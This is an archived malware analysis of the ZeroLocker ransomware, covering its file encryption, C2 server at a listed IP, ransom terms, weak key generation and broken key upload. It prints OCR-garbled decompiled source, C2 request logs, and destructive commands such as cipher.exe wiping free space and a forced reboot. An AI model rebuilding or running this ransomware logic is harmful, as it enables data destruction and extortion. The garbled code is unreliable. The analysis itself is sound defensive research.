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Introduction to the ZeroLocker ransomware

By Kimberly

Archived: 2026-04-05 20:30:11 UTC

A new ransomware called ZeroLocker has surfaced. The files are encrypted with AES (*) encryption.
Currently the threat is considered as the most destructive ransomware we have seen to date.

ZeroLocker does not only target data files; it encrypts ALL files on the hard drive, including executables, with

AES encryption unless they are located in certain folders or larger than 20 MegaBytes.

The folders exempt from encryption are the ones containing the following keywords: Windows, WINDOWS,
Program Files, ZeroLocker and Desktop. Encrypted files will have .encrypted appended to their filename.

ZeroLocker performs several outbound connections to 5.199.171.47, a VPs located in Skri Lanka.

When the threat has finished encrypting the files, it will run the CA\WINDOWS\SYSTEM32\CIPHER.EXE /W:C:\
command in order to overwrite all deleted data on the hard drive. Doing so makes it impossible to use recovery

tools to restore files.

The main issue with ZeroLocker resides in the fact that when it uploads the decryption key to the server, the C2

returns a 404 not found because the requested page doesn’t exist on the server.

Therefore the key isn’t stored in any database or file for later recovery. The only way to recover the key would be

to manually filter through the HTTP access logs if they still exist.

This coding mistake on behalf of the developer essentially renders the encrypted computer completely useless as

the victim is unable to retrieve the decryption key even after paying the ransom.

ZeroLocker is considered as very destructive especially for companies that have custom software installed under

normal paths.

Currently the infection doesn’t delete the Windows System Restore points so files can be restored using a program

like Shadow Explorer or Windows built-in Previous Version. This could change at any stage of course.

Payment is only accepted in Bitcoins. The initial ransom is $300, after 5 days the price will increase to $600 and

after 10 days the victim will have to pay $1000.
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Source: Bleeping Computer

The first instance of ZeroLocker was discovered on a French forum assisting people with malware removal on
August 8, 2014.

ZeroLocker

Overview of functions.

% private void m{object obj, EventArgs eventArgs}...
$ public object dlDesktopFile(}. ..
public object dlMainFile(})...
% public string GetuID()... S ey
tr;] public object GetBitcoinAddress()...
H public object UseBitcoinAddress(}...|
B public object getPassword()... )
IE public bool EncryptFiles(string Path, string txtPassEncryptRaw). ..
a5 public bool Dec Files(string Path, string Decryptkey)|. ..
H private byte[] {Eppi(string text)...|
& private byte[ (string text). .. —
'J._ﬁ private void (string text, string path, byte[] rgbkey, byte[] rgbhIv, Farﬁl. }_. . .
B public object GetMAC()... =
b private void E{nbject obj, EventArgs eventArgs)...|
122] private void [[€iEgi(object obj. EventArgs eventArgs)...|

The author didn't use AES encryption but used the RijndaelManaged class from the .NET Framework.
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private void EQiEEi(string text, string path, byte[] rgbiey, byte[] rgbIv, For-l.m.m}

{

int num;

int nums;

try

{
IL_g1:
ProjectData.ClearProjectError();
num = A. (55, EE(1892);
IL_12:
int num2 = A.[J3. @E5(1808);
this.T®] = new FileStream{text, (FilsMode)a.d5.EEI(1900), (FileAccess)A.[JH. EE(1904));
IL_3E:
num2 = A. G5, EE(1908);
this.[f8 = new FileStream(path, (FileMode)a.[[J.[@E3(1512), (FileAccess)a.[ . EE(1916));
IL_BA:
num2 = A.[55. EEi(1928);
:M;.mﬂnumm,ﬁ.usz#n;
L_8D:
num2 = A.[§5. EE(1928);
byte[] array = new byte[A.[3
IL_A9: .6
numd = A. 3. 1936);
long num3 = {Juéyn,%.m{lm“

IL C2:

B4 ¢

ﬁ.umh;

IL_DD:
num2 = A.[55. EEI(1048) ; i
RijndaelManaged rijndaelManaged = new RijndaclManaged(); — RudaefMamged
IL_EF:
nun2 = A @5 @B(1952);

CryptoStream cryptoStream;
switch (EEN - (Form1.GEM)A. . EE(1956))
{

case @
IL_11D:
num2 = A.[55. E5i(1960) ;
cryptoStream = new CryptoStream(this. [ #, rijndaelManaged.CreateEncryptor(rgbkey, rgbIv), (CryptoStreamtode)s.5H. EE(1964));:
I _144:
br;ak;
case 1:
IL_14D:
numz = A. 0. @E(1968) ;
cryptaStream = new l:thﬁtr\u-(tli:.m, rijndaelManaged.CreateDecryptor{rgbkey, rgbIVv), [cmtnstmyn.ﬁ.ﬂusn}};
break;

(1932)];

}

IL_17A:
IL_178:
checked

while (true)
{

IL_1DF:
num2 = A.[55. EEi(ze00);
if (num3 »= length)

{
break;

IL_170:
numz = A. 00 @EI(1976);

int numd = this. T30, Read(array, A.[05.@EE(1980), A.G5.EE(1984));
IL_1AC:

Page 3 of 10




http://stopmalvertising.com /malware-reports/introduction-to-the-zerolocker-ransomware.html

Li:l private unsafe static woid m!{rri int ptr, DynamicILInfo dymamicILInfao)
i

int num = BitCemverter.ToInt32(E0. BN, str);:
pir += 4;
if (num == @)

while (true)

{
switch (&)
case @

continue;

}
break;

if (ltrue)

RAuntimeMethodHandle arg_28_0 = methodof (). [@8(int*, DynamicILInfa)).MethodHandle;
}
return;
}
byte[] array = new byte[num];
Buffer.BlockCopy(Ei. , ptr, array, @, num);
int numz - 4;
int numd = (num - 4) / 24;
for (int 1 = @; 1 « num3; i++)
{
ExceptionHandlingClausedptions exceptionHandlingClauseOptions = [ExceptionHandlingClauseOptions)BitConverter.ToInt32(array, numi);
num += 28;
switch (exceptionHandlingClauseOptions)

{
case ExceptionHandlingClauseOptions.Clause:

RuntimeTypeHandle type = [F1.EE. ResolveTypeHandle(BitConverter, ToInt32(array, num2));
int tokenfor = dymamicILInfo.GetTokenFor(type);

.E(tﬂlﬂanr, num2; array);

break;

}
case ExceptionHandlingClausefptions.Fault:

throw new NotSupportedException(“dynamic method does not support fault clause®™);
}

num? += 4;

}
while (true)

{
switch (&)
{

case @:
continue;

break;
1
dynamicILInfo.SetExceptions(array);

}
=] public static void [B(int num, int num2, byte[] array)
1
array[aum2++] = (byte jnum;
array[num2++] = (byte){num >» B);
array[numd++] = (byte)(num >» 16);
array[numd++] = (byte){num >> 24);

- }
= private static wvoid Ell(ref int ptr, MethodBase methodBase, DynamicILInfo dynamicILInfo)
{
int maxStackSize = BitConverter.ToInt32(E0.E, ptr);
ptr += 4;
int num = BitConverter.ToInt32{E.ERL, ptr);
ptr += 4;
byte[] array = new byte[num];
Buffer.BlockCopy . , ptr, array, 8, num);
B8 Ei = new 4. [El(methodBase, array, dynamicILInfo);
- ()
dynamicILInfo.SetCode(array, maxStackSize);
ptr += num;
= }

The random number generator is seeded Envionment.TickCount, a 32-bit signed integer containing the amount
of time in milliseconds that has passed since the last time the computer was started. The strength of the password

is less than 32-bit.
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{

int num;

int numS;
try
1

IL_61:

IL_3D:

IL_4F:

}

object obj;

Random random = new Random(); —| {

num2 = (3. 380(1292);

stringBuilder stringBuilder = new StringBuilder();

El public object getPassword()

ProjectData.ClearProjectError();

num = [§5. 38 (1280);

IL 12:
int num2 = [§3. 1284);
string text = - (2224);
IL_2B: T
— /1 System.Random
num2 = m.(isz); public Random()} : this{Environment.TickCount)

num2 = [§3.380(1296);
int num3 = .(139&);

checked
{
int arg_E6_@;
int numd;
do
{
IL_67:

num2 = [§3. 55 (1304);

int startIndex = random.Next([dd.EEi(13e8), [FF.EEI(1312));

IL 91:

num2 = (§5.&@8(1316);
stringBuilder.Append(text.Substring(startIndex, (3. 351(1320)));
IL BA:

num2 = [gi. 1324);

num3 += . (1328);

arg E6 & = num3;

numé = [F3.[FR1(1332);

while (arg _E6_© <= numd);
while (true)

{
switch (5)
1
case 8:
continue;
}
break;
if (!true)
{
RuntimeMethodHandle arg_FD_@ = methodof(Forml.getPassword()).MethodHandle;
¥
IL_FE:

num2 = [F3.380(1336);

obj = stringBuilder.ToString();
IL_118:

goto IL_1E2;

IL 121:;

Upon execution the threat will:
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1. Create a folder called C:\ZeroLocker
2. Perform the following outbound connection and save the binary as C:\ZeroLocker\ZERORESCUE.EXE

GET /patriote/sansviolence

3. A corresponding registry entry is created so that ZERORESCUE.EXE runs each time the computer starts.
4. Retrieve the Bitcoin address used to pay the ransom and save it as C:\ZeroLocker\ADDRESS.DAT

GET /zConfig/171386
1CkwfDadjXPhp3XrUU5J8hQhUtbecH7t1N
5. Upload the decryption key to the server. The request returns a 404.

GET /zImprimer/[ID based upon MAC-ADDRESS]-[PASSWORD]-[BITCOIN ADDRESS]

GET /2Imprimer/2 5-568ZUYWOQeIVvNI3IXpGCj-1CkwfDadjxXPhp3xruusiBhahutbecH7 T1N
HTTP/1.1
Host: 5.199.171.47

HTTP/1.1 404 Not Found

Date: Mon, 18 Aug 2014 09:51:23 QT

server: Apache/2.2.15 (Centos)
Content-Length: 352

connection: close

content-Type: text/html; charset=iso-8859-1
<! DOCTYPE HTML PUBLIC '
<html><head>
<title=404 Mot Found</title>
</head><body>

<hl>Not Found</hl=

<p>The requested URL /

*-//IETF//DTD HTML 2.0//EN">

ZImpr imer /23 5-56EZUYWOQeIvNI3IXpGL j-1CkwT DadjxXPhp3xXruusighaghutbecH7TIN was not
fgund on this server.</p>
<>

<zaddress=Apache/2.2.15 (Cent0s5) Server at 5.199.171.47 Port B0</address>
</body=</htm]>

6. Encrypt the files on the hard drive. For each encrypted file the original file is deleted.

7. Perform the following outbound connection and save the response as C:\ZeroLocker\LOG.DAT

GET /enc/1

GET /enc/1 HTTR,/1.1
HosT: 5.199.171.47

HTTP/1.1 200 OK

Date: Mon, 18 aAug 2014 09:52:43 GMT

SEerver: ache/2.2.15% (Centos)
Last-Modified: sun, 03 Aug 2014 08:29:38 GMT
ETag: "79656e7-17-4ffb56cdf1543"
Accept-Ranges: bytes

Content-Length: 23

Connection: close

Content-Type: text/plain; charset=uUTF-8

6hi17ds6abk9sr22nHajds2|

8. Launch an instance of C:\WINDOWS\SYSTEM32\CIPHER.EXE with the following command line

parameters:

cipher.exe" /w:c:\

Page 6 of 10



9.

10.

http://stopmalvertising.com/malware-reports/introduction-to-the-zerolocker-ransomware.html

Reboot the compromised computer using the following command:

c:\windows\system32\shutdown.exe" /r /t 0 /f

Upon reboot the ransomware notice is displayed via C:\ZeroLocker\ZERORESCUE.EXE. Clicking the
"Decrypt Files" button opens an internet connection with the VPS. Unfortunately the request returns a 404
rendering decryption impossible even after paying the ransom. A message informs the victim that the
payment hasn’t been received or processed yet and to try again later as it takes up to 24h to activate the

key.

GET /[ID based upon MAC-ADDRESS]/key

GET /2 . 5/key HTTP/1.1
HostT: 5.199.171.47
Connection: Keep-Alive

HTTP/1.1 404 Not Found

Date: Mon, 18 Aug 2014 11:58:23 aGMT

server: Apache/2.2.15 (Centos)
Content-Length: 290

Connection: close

Content-Type: text/html; charset=is0-8859-1
<!DOCTYPE HTML PUBLIC "
<htm] =<head:>
<title=404 Not Found</title

</head><body>

<hl=Not Found</hl>

{ﬁ}The requested URL /2 5/key was not found on this server.</p>

<Mr >

<address=Apache,/2.2.15 (Cent05) Server at 5.199.171.47 Port B0</address>
</body=</htm]>

-//IETF//DTD HTML 2.0//EN">
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= private void E[EEEI(object obj, EventArgs eventArgs)
int num;
int num3;
try
{
IL_ed:

ProjectData.ClearProjectError();

num = A.G3. @ (2128);

IL_22:

int num2 = A.[§5.EE(2132);

WebClient webClient = new WebClient();
IL_24:

num2 = A.[53. @Ei(2136);

string text = webClient.DownloadString(A.[Hi. EEI(2474) + this.Getun() + A.[H.EEi(2515));
IL_68:

num2 = A.[{3. BEi(2140);
bool flag = text == null;
if (flag)

{

}

while (true)
switch (7)

case 8:
continue;
}

break;
}
if (ltrue)

RuntimeMethodHandle arg_88_8 = methodof(Forml. [0SR (object,
}
IL 89:
num2 = A.[J5. BEi(2144);
MessageBox. Show(A. [[H. BEi(2524) ) ;
IL_A7:
goto IL_138;

IL_AC:

num2 = A.({5. @Ei(2148);

IL_B9:

num2 = A.[55. BEi(2152);

string decryptKey = text.Substring(A.(d5.EEi(2156), A.[ 5. EEi(2160));
IL E2:

num2 = A.[J5. @Ei(2164);

string path = A.h.ﬁ(lﬁ'ﬂ};
IL_FB:

numz = A, [§3. Efi(2168);
this.DecryptFiles(path, decryptkey);
IL_112:

num2 = A.[J5. EE(2172);
MessageBox.Show(A. . B8 2966));
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IT] private void EijEEi(object obj, EventArgs eventArgs)
{

this.dlMainFile(); Download ZeroRescue

IL 1D4:

num2 = A.[J3-BEi(740);

A.[0T8. 0T5. Registry.Setvalue(A. . BEi(1442), A.[Q.BE(1567), A.[H-8Ei(1588));
IL_216: Startup en r ZeroRescue

num2 = A.[05.EEi(744);

string text2 = this.GetuID(); |D Based upon MAC ADDRESS

IL_22A:

num2 = A. 5. EF(748);

string text3 = Conversions.ToString(this.getPassword()); Encryption Key
IL_247:

num2 = A.[J3-BE(752);

string text4 = Conversions.ToString(this.UseBitcoinAddress());Bitcoin Address
IL_25F:

num2 = A.[§3-EEi(756);

string[] array = new strin&ﬁ.ﬁ.(?ﬁﬂ}];

array[A. g EEi(7e4)] = A. 1. (1545);

array[A: g 2EI(768)] = text;
array[A. 3. BEI(772)] = A.[l.BEl(17e6) ;
array[A.|gd. BRI(776)] = text3;

array[A.[G3. @Ei(780)] = A.[H.BEi(1706);
array[A. |55 FEI(784)] = textd;

string address = string.Concat(array);
IL_3@2:

num2 = mﬁ.m(?ss&

string fileName = A. +[179‘3}j

IL 31C:

num2 = A.[{3. BEI(792);

WebClient webClient = new WebClient();

IL_32F:

num2 = A. (5. BEI(796);
webClient.DownloadFile(address, fileName); Download Bitcoin Adress
IL_3a7:

num2 = A.[J5. EEi(se0);

string path = A. .ﬁ[l?“}j

IL 361:

num2 = A.[J.(55li(se4a);

this.EncryptFiles(path, text3); Encrypt Files
IL_37A:

num2 = A.[{3-@Ei(s08);

string address2 = A.h.{l?ﬁl};

IL_394:

num2 = A.J5-BEi(812);

string fileName2 = A.[[J. BEi(1295);

IL_3AC:

num2 = A.[{J3-B8i(816);

WebClient webClient2 = new WebClient();
IL_3BF:

num2 = A.[{5.EEi(320);
webClient2.DownloadFile (address2, fileName2); C:\ZeroLocker\log.dat
IL 3D7:

num2 = A.[55. EEi(824);

Process process = new Process();

IL_3EA:

num2 = A.[J5. @Ei(828);

ProcessStartInfo processStartInfe = new ProcessStartInfo(); cfphghgxe" FATTEEAN
IL_3FD:

numz = A.[§3. BE(832);

string text5 = process.5tandardOutput.ReadToEnd();
IL_418:

numz = A.[{5.BEi(836);
processStartInfo,Arguments = A.[T. Bi(1812);

ID based upon MAC-ADDRESS.
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= public string GetuID()
{ 7
int num;
string text2;
int num3;
try
{
IL @1:
ProjectData.ClearProjectError();
num = A;ﬁ.@{l&ﬁ!};
IL_11:
int num2 = A.[{5.@EE(1856);
object arg_62_@& = null;
Type arg 62 1 = typeof(Forml.Crc32);
string arg 62 2 = A.[l. BE(2064);
object[] array = new object[A. .E{lﬂﬁﬂ}];
array[a.[J5. BEI(1064)] = RuntimeHelpers.GetObjectValue(this.GetMAC());

TH

public object GetMAC()

{ =
int num;
object obj;
int num3;
try
{
IL_81:
ProjectData.ClearProjectError();
num = A.[53. EEi(2084);
IL_11:
int num2 = A. 3. B8 (2088) ;
NetworkInterface[] allMetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
IL_25:
num2 = A.[55. BEi(2092);
obj = allMetworkInterfaces[A.[J5. EEI(2096)].GetPhysicalAddress( ). ToString();
Samples Analysed

At the time of the analysis on August 18, 2014 we were aware of the following MD5 hashes:

e bd0a3c308a6d3372817a474b7c653097: TimeDateStamp: Tue Aug 05 14:27:06 2014
o 3772a3deeb781803a907ed36ee10681d: TimeDateStamp: Wed Aug 06 11:01:48 2014

Both samples contain the following compile leftovers:
c:\users\george\desktop\projects\zerolocker\testing stuff\testing stuff\obj\debug\task manager.pdb
The actor behind ZeroLocker is also associated with several Bitcoin Miners.

If our research has helped you, please consider making a donation through PayPal.
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